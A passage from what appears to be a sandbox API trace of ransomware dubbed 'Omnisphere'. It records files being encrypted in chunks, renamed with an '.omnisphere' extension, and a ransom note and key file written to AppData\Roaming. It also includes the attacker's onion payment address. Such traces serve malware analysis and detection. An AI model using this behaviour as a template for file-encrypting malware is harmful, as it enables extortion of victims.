pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.984] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.985] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.988] CryptDestroyKey (hKey=0x1639a28) returned 1 [0068.988] CryptReleaseContext (hProv=0x163b970, dwFlags=0x0) returned 1 [0068.988] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x1051f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.988] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0068.988] GetProcessHeap () returned 0x1600000 [0068.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x272) returned 0x165fc60 [0068.988] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tx_oe.avi"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tx_oe.avi.omnisphere")) returned 1 [0068.988] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi.omnisphere.id" [0068.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tx_oe.avi.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0068.989] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0068.990] CloseHandle (hObject=0x3a8) returned 1 [0068.990] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0068.991] CloseHandle (hObject=0x3a4) returned 1 [0068.991] SetEndOfFile (hFile=0x3a0) returned 1 [0068.991] FlushFileBuffers (hFile=0x3a0) returned 1 [0068.994] CloseHandle (hObject=0x3a0) returned 1 [0068.994] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\tx_oE.avi" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0068.994] GetProcessHeap () returned 0x1600000 [0068.994] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1668188 [0068.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0068.994] GetProcessHeap () returned 0x1600000 [0068.994] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641ac0 [0068.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641ac0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0068.994] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0068.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.994] GetProcessHeap () returned 0x1600000 [0068.994] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fb10 [0068.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fb10, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0068.994] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0068.995] GetProcessHeap () returned 0x1600000 [0068.995] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163bd28 [0068.995] PathCombineW (in: pszDest=0x163bd28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0068.995] GetProcessHeap () returned 0x1600000 [0068.995] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1661e90 [0068.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.995] WriteFile (in: hFile=0x3a0, lpBuffer=0x1661e90*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1661e90*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0068.995] CloseHandle (hObject=0x3a0) returned 1 [0068.995] GetProcessHeap () returned 0x1600000 [0068.995] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668188 | out: hHeap=0x1600000) returned 1 [0068.995] GetProcessHeap () returned 0x1600000 [0068.995] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f780 [0068.995] PathCombineW (in: pszDest=0x163f780, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0068.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.996] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0068.996] CloseHandle (hObject=0x3a0) returned 1 [0068.996] GetProcessHeap () returned 0x1600000 [0068.996] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f780 | out: hHeap=0x1600000) returned 1 [0068.996] GetProcessHeap () returned 0x1600000 [0068.996] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a0a0 | out: hHeap=0x1600000) returned 1 [0068.996] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcd60e0, ftCreationTime.dwHighDateTime=0x1d4c891, ftLastAccessTime.dwLowDateTime=0x11c45050, ftLastAccessTime.dwHighDateTime=0x1d4c63d, ftLastWriteTime.dwLowDateTime=0x11c45050, ftLastWriteTime.dwHighDateTime=0x1d4c63d, nFileSizeHigh=0x0, nFileSizeLow=0x117db, dwReserved0=0x0, dwReserved1=0xed, cFileName="u2ZUuS8-WjDeO2.wav", cAlternateFileName="U2ZUUS~1.WAV")) returned 1 [0068.996] GetProcessHeap () returned 0x1600000 [0068.996] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f580 [0068.996] PathCombineW (in: pszDest=0x163f580, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="u2ZUuS8-WjDeO2.wav" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav" [0068.996] StrStrW (lpFirst=".omnisphere", lpSrch=".wav") returned 0x0 [0068.996] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\u2zuus8-wjdeo2.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.996] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=71643) returned 1 [0068.996] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x112b7, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.996] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] GetTickCount () returned 0x1151876 [0068.997] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163b970) returned 1 [0068.998] CryptImportKey (in: hProv=0x163b970, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639528) returned 1 [0068.998] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0068.998] CryptDestroyKey (hKey=0x1639528) returned 1 [0068.998] CryptReleaseContext (hProv=0x163b970, dwFlags=0x0) returned 1 [0068.998] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x117db, lpName=0x0) returned 0x3a4 [0068.998] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x117db) returned 0x3450000 [0068.999] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163b970) returned 1 [0069.000] CryptImportKey (in: hProv=0x163b970, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x16396a8) returned 1 [0069.000] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.000] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.001] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 